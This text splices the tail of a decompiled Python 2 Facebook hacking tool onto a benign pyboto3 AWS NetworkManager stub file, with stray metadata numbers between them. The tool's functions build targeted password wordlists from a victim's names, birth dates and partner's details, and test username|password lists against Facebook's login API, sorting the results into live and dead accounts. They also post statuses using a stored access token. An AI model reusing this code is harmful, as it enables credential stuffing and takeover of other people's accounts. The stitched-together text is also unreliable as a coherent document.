os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() os.system('clear') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' msg = raw_input('\x1b[1;91m[+] \x1b[1;92mType it status \x1b[1;91m:\x1b[1;97m ') if msg == '': print '\x1b[1;91m[!] Dont be empty' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') other() else: res = requests.get('https://graph.facebook.com/me/feed?method=POST&message=' + msg + '&access_token=' + toket) op = json.loads(res.text) Street('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mWait a minute \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[+] \x1b[1;92mStatus ID\x1b[1;91m : \x1b[1;97m' + op['id'] raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') other() def wordlist(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('clear') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[?] \x1b[1;92mFill in the complete target data below' print 40 * '\x1b[1;97m\xe2\x95\x90' a = raw_input('\x1b[1;91m[+] \x1b[1;92mFirstName \x1b[1;97m: ') file = open(a + '.txt', 'w') b = raw_input('\x1b[1;91m[+] \x1b[1;92mMiddleName \x1b[1;97m: ') c = raw_input('\x1b[1;91m[+] \x1b[1;92mLastName \x1b[1;97m: ') d = raw_input('\x1b[1;91m[+] \x1b[1;92mCallName \x1b[1;97m: ') e = raw_input('\x1b[1;91m[+] \x1b[1;92mDate of birth >\x1b[1;96mex: |DDMMYY| \x1b[1;97m: ') f = e[0:2] g = e[2:4] h = e[4:] print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[?] \x1b[1;93mSKIP If its single :v' i = raw_input('\x1b[1;91m[+] \x1b[1;92mGirlfriends Name \x1b[1;97m: ') j = raw_input('\x1b[1;91m[+] \x1b[1;92mCallGirlfriends Name \x1b[1;97m: ') k = raw_input('\x1b[1;91m[+] \x1b[1;92mDate of birth Girlfriend >\x1b[1;96mex: |DDMMYY| \x1b[1;97m: ') Street('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mWait a minute \x1b[1;97m...') l = k[0:2] m = k[2:4] n = k[4:] file.write('%s%s\n%s%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s%s\n%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s' % (a, c, a, b, b, a, b, c, c, a, c, b, a, a, b, b, c, c, a, d, b, d, c, d, d, d, d, a, d, b, d, c, a, e, a, f, a, g, a, h, b, e, b, f, b, g, b, h, c, e, c, f, c, g, c, h, d, e, d, f, d, g, d, h, e, a, f, a, g, a, h, a, e, b, f, b, g, b, h, b, e, c, f, c, g, c, h, c, e, d, f, d, g, d, h, d, d, d, a, f, g, a, g, h, f, g, f, h, f, f, g, f, g, h, g, g, h, f, h, g, h, h, h, g, f, a, g, h, b, f, g, b, g, h, c, f, g, c, g, h, d, f, g, d, g, h, a, i, a, j, a, k, i, e, i, j, i, k, b, i, b, j, b, k, c, i, c, j, c, k, e, k, j, a, j, b, j, c, j, d, j, j, k, a, k, b, k, c, k, d, k, k, i, l, i, m, i, n, j, l, j, m, j, n, j, k)) wg = 0 while wg < 100: wg = wg + 1 file.write(a + str(wg) + '\n') en = 0 while en < 100: en = en + 1 file.write(i + str(en) + '\n') word = 0 while word < 100: word = word + 1 file.write(d + str(word) + '\n') gen = 0 while gen < 100: gen = gen + 1 file.write(j + str(gen) + '\n') file.close() time.sleep(1.5) print '\n\x1b[1;91m[+] \x1b[1;97mStored \x1b[1;91m: \x1b[1;97m %s.txt' % a raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') other() except IOError as e: print '\x1b[1;91m[!] failed to Create file' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') other() def check_akun(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('clear') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[?] \x1b[1;92mThey File\x1b[1;91m : \x1b[1;97musername|password' print 40 * '\x1b[1;97m\xe2\x95\x90' live = [] cek = [] die = [] try: file = raw_input('\x1b[1;91m[+] \x1b[1;92mFile \x1b[1;91m:\x1b[1;97m ') list = open(file, 'r').readlines() except IOError: print '\x1b[1;91m[!] File was not Found' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') other() Separator = raw_input('\x1b[1;91m[+] \x1b[1;92mSeparator \x1b[1;91m:\x1b[1;97m ') Street('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mWait a minute \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for meki in list: username, password = meki.strip().split(str(Separator)) url = 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + username + '&locale=en_US&password=' + password + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6' data = requests.get(url) mpsh = json.loads(data.text) if 'access_token' in mpsh: live.append(password) print '\x1b[1;97m[\x1b[1;92mLive\x1b[1;97m] \x1b[1;97m' + username + ' | ' + password elif 'www.facebook.com' in mpsh['error_msg']: cek.append(password) print '\x1b[1;97m[\x1b[1;93mCheck\x1b[1;97m] \x1b[1;97m' + username + ' | ' + password else: die.append(password) print '\x1b[1;97m[\x1b[1;91mDie\x1b[1;97m] \x1b[1;97m' + username + ' | ' + password print '\n\x1b[1;91m[+] \x1b[1;97mTotal\x1b[1;91m : \x1b[1;97mLive=\x1b[1;92m' + str(len(live)) + ' \x1b[1;97mCheck=\x1b[1;93m' + str(len(cek)) + ' \x1b[1;97mDie=\x1b[1;91m' + str(len(die)) raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') other() def groupsaya(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('clear') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' Street('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mWait a minute \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' try: uh = requests.get('https://graph.facebook.com/me/groups?access_token=' + toket) gud = json.loads(uh.text) for p in gud['data']: Name = p['name'] id = p['id'] f = open('groupid.txt', 'w') listgroup.append(id) f.write(id + '\n') print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName \x1b[1;91m:\x1b[1;97m ' + str(Name) print '\x1b[1;91m[+] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + str(id) print 40 * '\x1b[1;97m=' print '\n\r\x1b[1;91m[+] \x1b[1;97mAmount group \x1b[1;96m%s' % len(listgroup) print '\x1b[1;91m[+] \x1b[1;97mStored \x1b[1;91m: \x1b[1;97mgroupid.txt' f.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') other() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Stalled' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') other() except KeyError: os.remove('groupid.txt') print '\x1b[1;91m[!] group was not Found' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') other() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] There is no connection' Exit() except IOError: print '\x1b[1;91m[!] Error while creating file' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') other() def guard(): global toket os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() os.system('clear') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Activate' print '\x1b[1;37;40m2. Not activate' print '\x1b[1;31;40m0. Back' print g = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if g == '1': aktif = 'true' gaz(toket, aktif) else: if g == '2': non = 'false' gaz(toket, non) else: if g == '0': other() else: if g == '': Exit() else: Exit() def get_userid(toket): url = 'https://graph.facebook.com/me?access_token=%s' % toket res = requests.get(url) uid = json.loads(res.text) return uid['id'] def gaz(toket, enable=True): id = get_userid(toket) data = 'variables={"0":{"is_shielded": %s,"session_id":"9b78191c-84fd-4ab6-b0aa-19b39f04a6bc","actor_id":"%s","client_mutation_id":"b0316dd6-3fd6-4beb-aed4-bb29c5dc64b0"}}&method=post&doc_id=1477043292367183&query_name=IsShieldedSetMutation&strip_defaults=true&strip_nulls=true&locale=en_US&client_country_code=US&fb_api_req_friendly_name=IsShieldedSetMutation&fb_api_caller_class=IsShieldedSetMutation' % (enable, str(id)) headers = {'Content-Type': 'application/x-www-form-urlencoded', 'Authorization': 'OAuth %s' % toket} url = 'https://graph.facebook.com/graphql' res = requests.post(url, data=data, headers=headers) print res.text if '"is_shielded":true' in res.text: os.system('clear') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mDeactivate' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') other() else: if '"is_shielded":false' in res.text: os.system('clear') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;91mDid not activate' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') other() else: print '\x1b[1;91m[!] Error' Exit() if __name__ == '__main__': login() # okay decompiling 3.pyc

41.744011

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0.485536

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0.052875

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0.791805

0.770265

0.734582

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0.68834

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88,873

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0.595376

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null

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cad2c39d835b7ec242ded60af1e6c17623f3ea8e

94,529

py

Python

pyboto3/networkmanager.py

gehad-shaat/pyboto3

4a0c2851a8bc04fb1c71c36086f7bb257e48181d

[ "MIT" ]

91

2016-12-31T11:38:37.000Z

2021-09-16T19:33:23.000Z

pyboto3/networkmanager.py

gehad-shaat/pyboto3

4a0c2851a8bc04fb1c71c36086f7bb257e48181d

[ "MIT" ]

7

2017-01-02T18:54:23.000Z

2020-08-11T13:54:02.000Z

pyboto3/networkmanager.py

gehad-shaat/pyboto3

4a0c2851a8bc04fb1c71c36086f7bb257e48181d

[ "MIT" ]

26

2016-12-31T13:11:00.000Z

2022-03-03T21:01:12.000Z

''' The MIT License (MIT) Copyright (c) 2016 WavyCloud Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ''' def associate_customer_gateway(CustomerGatewayArn=None, GlobalNetworkId=None, DeviceId=None, LinkId=None): """ Associates a customer gateway with a device and optionally, with a link. If you specify a link, it must be associated with the specified device. You can only associate customer gateways that are connected to a VPN attachment on a transit gateway. The transit gateway must be registered in your global network. When you register a transit gateway, customer gateways that are connected to the transit gateway are automatically included in the global network. To list customer gateways that are connected to a transit gateway, use the DescribeVpnConnections EC2 API and filter by transit-gateway-id . You cannot associate a customer gateway with more than one device and link. See also: AWS API Documentation Exceptions :example: response = client.associate_customer_gateway( CustomerGatewayArn='string', GlobalNetworkId='string', DeviceId='string', LinkId='string' ) :type CustomerGatewayArn: string :param CustomerGatewayArn: [REQUIRED]\nThe Amazon Resource Name (ARN) of the customer gateway. For more information, see Resources Defined by Amazon EC2 .\n :type GlobalNetworkId: string :param GlobalNetworkId: [REQUIRED]\nThe ID of the global network.\n :type DeviceId: string :param DeviceId: [REQUIRED]\nThe ID of the device.\n :type LinkId: string :param LinkId: The ID of the link. :rtype: dict ReturnsResponse Syntax { 'CustomerGatewayAssociation': { 'CustomerGatewayArn': 'string', 'GlobalNetworkId': 'string', 'DeviceId': 'string', 'LinkId': 'string', 'State': 'PENDING'|'AVAILABLE'|'DELETING'|'DELETED' } } Response Structure (dict) -- CustomerGatewayAssociation (dict) -- The customer gateway association. CustomerGatewayArn (string) -- The Amazon Resource Name (ARN) of the customer gateway. GlobalNetworkId (string) -- The ID of the global network. DeviceId (string) -- The ID of the device. LinkId (string) -- The ID of the link. State (string) -- The association state. Exceptions NetworkManager.Client.exceptions.ValidationException NetworkManager.Client.exceptions.ServiceQuotaExceededException NetworkManager.Client.exceptions.AccessDeniedException NetworkManager.Client.exceptions.ResourceNotFoundException NetworkManager.Client.exceptions.ConflictException NetworkManager.Client.exceptions.ThrottlingException NetworkManager.Client.exceptions.InternalServerException :return: { 'CustomerGatewayAssociation': { 'CustomerGatewayArn': 'string', 'GlobalNetworkId': 'string', 'DeviceId': 'string', 'LinkId': 'string', 'State': 'PENDING'|'AVAILABLE'|'DELETING'|'DELETED' } } :returns: NetworkManager.Client.exceptions.ValidationException NetworkManager.Client.exceptions.ServiceQuotaExceededException NetworkManager.Client.exceptions.AccessDeniedException NetworkManager.Client.exceptions.ResourceNotFoundException NetworkManager.Client.exceptions.ConflictException NetworkManager.Client.exceptions.ThrottlingException NetworkManager.Client.exceptions.InternalServerException """ pass def associate_link(GlobalNetworkId=None, DeviceId=None, LinkId=None): """ Associates a link to a device. A device can be associated to multiple links and a link can be associated to multiple devices. The device and link must be in the same global network and the same site. See also: AWS API Documentation Exceptions :example: response = client.associate_link( GlobalNetworkId='string', DeviceId='string', LinkId='string' ) :type GlobalNetworkId: string :param GlobalNetworkId: [REQUIRED]\nThe ID of the global network.\n :type DeviceId: string :param DeviceId: [REQUIRED]\nThe ID of the device.\n :type LinkId: string :param LinkId: [REQUIRED]\nThe ID of the link.\n :rtype: dict ReturnsResponse Syntax { 'LinkAssociation': { 'GlobalNetworkId': 'string', 'DeviceId': 'string', 'LinkId': 'string', 'LinkAssociationState': 'PENDING'|'AVAILABLE'|'DELETING'|'DELETED' } } Response Structure (dict) -- LinkAssociation (dict) -- The link association. GlobalNetworkId (string) -- The ID of the global network. DeviceId (string) -- The device ID for the link association. LinkId (string) -- The ID of the link. LinkAssociationState (string) -- The state of the association. Exceptions NetworkManager.Client.exceptions.ValidationException NetworkManager.Client.exceptions.ServiceQuotaExceededException NetworkManager.Client.exceptions.AccessDeniedException NetworkManager.Client.exceptions.ResourceNotFoundException NetworkManager.Client.exceptions.ConflictException NetworkManager.Client.exceptions.ThrottlingException NetworkManager.Client.exceptions.InternalServerException :return: { 'LinkAssociation': { 'GlobalNetworkId': 'string', 'DeviceId': 'string', 'LinkId': 'string', 'LinkAssociationState': 'PENDING'|'AVAILABLE'|'DELETING'|'DELETED' } } :returns: NetworkManager.Client.exceptions.ValidationException NetworkManager.Client.exceptions.ServiceQuotaExceededException NetworkManager.Client.exceptions.AccessDeniedException NetworkManager.Client.exceptions.ResourceNotFoundException NetworkManager.Client.exceptions.ConflictException NetworkManager.Client.exceptions.ThrottlingException NetworkManager.Client.exceptions.InternalServerException """ pass def can_paginate(operation_name=None): """ Check if an operation can be paginated. :type operation_name: string :param operation_name: The operation name. This is the same name\nas the method name on the client. For example, if the\nmethod name is create_foo, and you\'d normally invoke the\noperation as client.create_foo(**kwargs), if the\ncreate_foo operation can be paginated, you can use the\ncall client.get_paginator('create_foo'). """ pass def create_device(GlobalNetworkId=None, Description=None, Type=None, Vendor=None, Model=None, SerialNumber=None, Location=None, SiteId=None, Tags=None): """ Creates a new device in a global network. If you specify both a site ID and a location, the location of the site is used for visualization in the Network Manager console. See also: AWS API Documentation Exceptions :example: response = client.create_device( GlobalNetworkId='string', Description='string', Type='string', Vendor='string', Model='string', SerialNumber='string', Location={ 'Address': 'string', 'Latitude': 'string', 'Longitude': 'string' }, SiteId='string', Tags=[ { 'Key': 'string', 'Value': 'string' }, ] ) :type GlobalNetworkId: string :param GlobalNetworkId: [REQUIRED]\nThe ID of the global network.\n :type Description: string :param Description: A description of the device.\nLength Constraints: Maximum length of 256 characters.\n :type Type: string :param Type: The type of the device. :type Vendor: string :param Vendor: The vendor of the device.\nLength Constraints: Maximum length of 128 characters.\n :type Model: string :param Model: The model of the device.\nLength Constraints: Maximum length of 128 characters.\n :type SerialNumber: string :param SerialNumber: The serial number of the device.\nLength Constraints: Maximum length of 128 characters.\n :type Location: dict :param Location: The location of the device.\n\nAddress (string) --The physical address.\n\nLatitude (string) --The latitude.\n\nLongitude (string) --The longitude.\n\n\n :type SiteId: string :param SiteId: The ID of the site. :type Tags: list :param Tags: The tags to apply to the resource during creation.\n\n(dict) --Describes a tag.\n\nKey (string) --The tag key.\nLength Constraints: Maximum length of 128 characters.\n\nValue (string) --The tag value.\nLength Constraints: Maximum length of 256 characters.\n\n\n\n\n :rtype: dict ReturnsResponse Syntax { 'Device': { 'DeviceId': 'string', 'DeviceArn': 'string', 'GlobalNetworkId': 'string', 'Description': 'string', 'Type': 'string', 'Vendor': 'string', 'Model': 'string', 'SerialNumber': 'string', 'Location': { 'Address': 'string', 'Latitude': 'string', 'Longitude': 'string' }, 'SiteId': 'string', 'CreatedAt': datetime(2015, 1, 1), 'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING', 'Tags': [ { 'Key': 'string', 'Value': 'string' }, ] } } Response Structure (dict) -- Device (dict) -- Information about the device. DeviceId (string) -- The ID of the device. DeviceArn (string) -- The Amazon Resource Name (ARN) of the device. GlobalNetworkId (string) -- The ID of the global network. Description (string) -- The description of the device. Type (string) -- The device type. Vendor (string) -- The device vendor. Model (string) -- The device model. SerialNumber (string) -- The device serial number. Location (dict) -- The site location. Address (string) -- The physical address. Latitude (string) -- The latitude. Longitude (string) -- The longitude. SiteId (string) -- The site ID. CreatedAt (datetime) -- The date and time that the site was created. State (string) -- The device state. Tags (list) -- The tags for the device. (dict) -- Describes a tag. Key (string) -- The tag key. Length Constraints: Maximum length of 128 characters. Value (string) -- The tag value. Length Constraints: Maximum length of 256 characters. Exceptions NetworkManager.Client.exceptions.ValidationException NetworkManager.Client.exceptions.ServiceQuotaExceededException NetworkManager.Client.exceptions.AccessDeniedException NetworkManager.Client.exceptions.ResourceNotFoundException NetworkManager.Client.exceptions.ConflictException NetworkManager.Client.exceptions.ThrottlingException NetworkManager.Client.exceptions.InternalServerException :return: { 'Device': { 'DeviceId': 'string', 'DeviceArn': 'string', 'GlobalNetworkId': 'string', 'Description': 'string', 'Type': 'string', 'Vendor': 'string', 'Model': 'string', 'SerialNumber': 'string', 'Location': { 'Address': 'string', 'Latitude': 'string', 'Longitude': 'string' }, 'SiteId': 'string', 'CreatedAt': datetime(2015, 1, 1), 'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING', 'Tags': [ { 'Key': 'string', 'Value': 'string' }, ] } } :returns: NetworkManager.Client.exceptions.ValidationException NetworkManager.Client.exceptions.ServiceQuotaExceededException NetworkManager.Client.exceptions.AccessDeniedException NetworkManager.Client.exceptions.ResourceNotFoundException NetworkManager.Client.exceptions.ConflictException NetworkManager.Client.exceptions.ThrottlingException NetworkManager.Client.exceptions.InternalServerException """ pass def create_global_network(Description=None, Tags=None): """ Creates a new, empty global network. See also: AWS API Documentation Exceptions :example: response = client.create_global_network( Description='string', Tags=[ { 'Key': 'string', 'Value': 'string' }, ] ) :type Description: string :param Description: A description of the global network.\nLength Constraints: Maximum length of 256 characters.\n :type Tags: list :param Tags: The tags to apply to the resource during creation.\n\n(dict) --Describes a tag.\n\nKey (string) --The tag key.\nLength Constraints: Maximum length of 128 characters.\n\nValue (string) --The tag value.\nLength Constraints: Maximum length of 256 characters.\n\n\n\n\n :rtype: dict ReturnsResponse Syntax { 'GlobalNetwork': { 'GlobalNetworkId': 'string', 'GlobalNetworkArn': 'string', 'Description': 'string', 'CreatedAt': datetime(2015, 1, 1), 'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING', 'Tags': [ { 'Key': 'string', 'Value': 'string' }, ] } } Response Structure (dict) -- GlobalNetwork (dict) -- Information about the global network object. GlobalNetworkId (string) -- The ID of the global network. GlobalNetworkArn (string) -- The Amazon Resource Name (ARN) of the global network. Description (string) -- The description of the global network. CreatedAt (datetime) -- The date and time that the global network was created. State (string) -- The state of the global network. Tags (list) -- The tags for the global network. (dict) -- Describes a tag. Key (string) -- The tag key. Length Constraints: Maximum length of 128 characters. Value (string) -- The tag value. Length Constraints: Maximum length of 256 characters. Exceptions NetworkManager.Client.exceptions.ValidationException NetworkManager.Client.exceptions.ServiceQuotaExceededException NetworkManager.Client.exceptions.AccessDeniedException NetworkManager.Client.exceptions.ConflictException NetworkManager.Client.exceptions.ThrottlingException NetworkManager.Client.exceptions.InternalServerException :return: { 'GlobalNetwork': { 'GlobalNetworkId': 'string', 'GlobalNetworkArn': 'string', 'Description': 'string', 'CreatedAt': datetime(2015, 1, 1), 'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING', 'Tags': [ { 'Key': 'string', 'Value': 'string' }, ] } } :returns: NetworkManager.Client.exceptions.ValidationException NetworkManager.Client.exceptions.ServiceQuotaExceededException NetworkManager.Client.exceptions.AccessDeniedException NetworkManager.Client.exceptions.ConflictException NetworkManager.Client.exceptions.ThrottlingException NetworkManager.Client.exceptions.InternalServerException """ pass def create_link(GlobalNetworkId=None, Description=None, Type=None, Bandwidth=None, Provider=None, SiteId=None, Tags=None): """ Creates a new link for a specified site. See also: AWS API Documentation Exceptions :example: response = client.create_link( GlobalNetworkId='string', Description='string', Type='string', Bandwidth={ 'UploadSpeed': 123, 'DownloadSpeed': 123 }, Provider='string', SiteId='string', Tags=[ { 'Key': 'string', 'Value': 'string' }, ] ) :type GlobalNetworkId: string :param GlobalNetworkId: [REQUIRED]\nThe ID of the global network.\n :type Description: string :param Description: A description of the link.\nLength Constraints: Maximum length of 256 characters.\n :type Type: string :param Type: The type of the link.\nConstraints: Cannot include the following characters: | ^\nLength Constraints: Maximum length of 128 characters.\n :type Bandwidth: dict :param Bandwidth: [REQUIRED]\nThe upload speed and download speed in Mbps.\n\nUploadSpeed (integer) --Upload speed in Mbps.\n\nDownloadSpeed (integer) --Download speed in Mbps.\n\n\n :type Provider: string :param Provider: The provider of the link.\nConstraints: Cannot include the following characters: | ^\nLength Constraints: Maximum length of 128 characters.\n :type SiteId: string :param SiteId: [REQUIRED]\nThe ID of the site.\n :type Tags: list :param Tags: The tags to apply to the resource during creation.\n\n(dict) --Describes a tag.\n\nKey (string) --The tag key.\nLength Constraints: Maximum length of 128 characters.\n\nValue (string) --The tag value.\nLength Constraints: Maximum length of 256 characters.\n\n\n\n\n :rtype: dict ReturnsResponse Syntax { 'Link': { 'LinkId': 'string', 'LinkArn': 'string', 'GlobalNetworkId': 'string', 'SiteId': 'string', 'Description': 'string', 'Type': 'string', 'Bandwidth': { 'UploadSpeed': 123, 'DownloadSpeed': 123 }, 'Provider': 'string', 'CreatedAt': datetime(2015, 1, 1), 'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING', 'Tags': [ { 'Key': 'string', 'Value': 'string' }, ] } } Response Structure (dict) -- Link (dict) -- Information about the link. LinkId (string) -- The ID of the link. LinkArn (string) -- The Amazon Resource Name (ARN) of the link. GlobalNetworkId (string) -- The ID of the global network. SiteId (string) -- The ID of the site. Description (string) -- The description of the link. Type (string) -- The type of the link. Bandwidth (dict) -- The bandwidth for the link. UploadSpeed (integer) -- Upload speed in Mbps. DownloadSpeed (integer) -- Download speed in Mbps. Provider (string) -- The provider of the link. CreatedAt (datetime) -- The date and time that the link was created. State (string) -- The state of the link. Tags (list) -- The tags for the link. (dict) -- Describes a tag. Key (string) -- The tag key. Length Constraints: Maximum length of 128 characters. Value (string) -- The tag value. Length Constraints: Maximum length of 256 characters. Exceptions NetworkManager.Client.exceptions.ValidationException NetworkManager.Client.exceptions.ServiceQuotaExceededException NetworkManager.Client.exceptions.AccessDeniedException NetworkManager.Client.exceptions.ResourceNotFoundException NetworkManager.Client.exceptions.ConflictException NetworkManager.Client.exceptions.ThrottlingException NetworkManager.Client.exceptions.InternalServerException :return: { 'Link': { 'LinkId': 'string', 'LinkArn': 'string', 'GlobalNetworkId': 'string', 'SiteId': 'string', 'Description': 'string', 'Type': 'string', 'Bandwidth': { 'UploadSpeed': 123, 'DownloadSpeed': 123 }, 'Provider': 'string', 'CreatedAt': datetime(2015, 1, 1), 'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING', 'Tags': [ { 'Key': 'string', 'Value': 'string' }, ] } } :returns: NetworkManager.Client.exceptions.ValidationException NetworkManager.Client.exceptions.ServiceQuotaExceededException NetworkManager.Client.exceptions.AccessDeniedException NetworkManager.Client.exceptions.ResourceNotFoundException NetworkManager.Client.exceptions.ConflictException NetworkManager.Client.exceptions.ThrottlingException NetworkManager.Client.exceptions.InternalServerException """ pass def create_site(GlobalNetworkId=None, Description=None, Location=None, Tags=None): """ Creates a new site in a global network. See also: AWS API Documentation Exceptions :example: response = client.create_site( GlobalNetworkId='string', Description='string', Location={ 'Address': 'string', 'Latitude': 'string', 'Longitude': 'string' }, Tags=[ { 'Key': 'string', 'Value': 'string' }, ] ) :type GlobalNetworkId: string :param GlobalNetworkId: [REQUIRED]\nThe ID of the global network.\n :type Description: string :param Description: A description of your site.\nLength Constraints: Maximum length of 256 characters.\n :type Location: dict :param Location: The site location. This information is used for visualization in the Network Manager console. If you specify the address, the latitude and longitude are automatically calculated.\n\nAddress : The physical address of the site.\nLatitude : The latitude of the site.\nLongitude : The longitude of the site.\n\n\nAddress (string) --The physical address.\n\nLatitude (string) --The latitude.\n\nLongitude (string) --The longitude.\n\n\n :type Tags: list :param Tags: The tags to apply to the resource during creation.\n\n(dict) --Describes a tag.\n\nKey (string) --The tag key.\nLength Constraints: Maximum length of 128 characters.\n\nValue (string) --The tag value.\nLength Constraints: Maximum length of 256 characters.\n\n\n\n\n :rtype: dict ReturnsResponse Syntax { 'Site': { 'SiteId': 'string', 'SiteArn': 'string', 'GlobalNetworkId': 'string', 'Description': 'string', 'Location': { 'Address': 'string', 'Latitude': 'string', 'Longitude': 'string' }, 'CreatedAt': datetime(2015, 1, 1), 'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING', 'Tags': [ { 'Key': 'string', 'Value': 'string' }, ] } } Response Structure (dict) -- Site (dict) -- Information about the site. SiteId (string) -- The ID of the site. SiteArn (string) -- The Amazon Resource Name (ARN) of the site. GlobalNetworkId (string) -- The ID of the global network. Description (string) -- The description of the site. Location (dict) -- The location of the site. Address (string) -- The physical address. Latitude (string) -- The latitude. Longitude (string) -- The longitude. CreatedAt (datetime) -- The date and time that the site was created. State (string) -- The state of the site. Tags (list) -- The tags for the site. (dict) -- Describes a tag. Key (string) -- The tag key. Length Constraints: Maximum length of 128 characters. Value (string) -- The tag value. Length Constraints: Maximum length of 256 characters. Exceptions NetworkManager.Client.exceptions.ValidationException NetworkManager.Client.exceptions.ServiceQuotaExceededException NetworkManager.Client.exceptions.AccessDeniedException NetworkManager.Client.exceptions.ResourceNotFoundException NetworkManager.Client.exceptions.ConflictException NetworkManager.Client.exceptions.ThrottlingException NetworkManager.Client.exceptions.InternalServerException :return: { 'Site': { 'SiteId': 'string', 'SiteArn': 'string', 'GlobalNetworkId': 'string', 'Description': 'string', 'Location': { 'Address': 'string', 'Latitude': 'string', 'Longitude': 'string' }, 'CreatedAt': datetime(2015, 1, 1), 'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING', 'Tags': [ { 'Key': 'string', 'Value': 'string' }, ] } } :returns: NetworkManager.Client.exceptions.ValidationException NetworkManager.Client.exceptions.ServiceQuotaExceededException NetworkManager.Client.exceptions.AccessDeniedException NetworkManager.Client.exceptions.ResourceNotFoundException NetworkManager.Client.exceptions.ConflictException 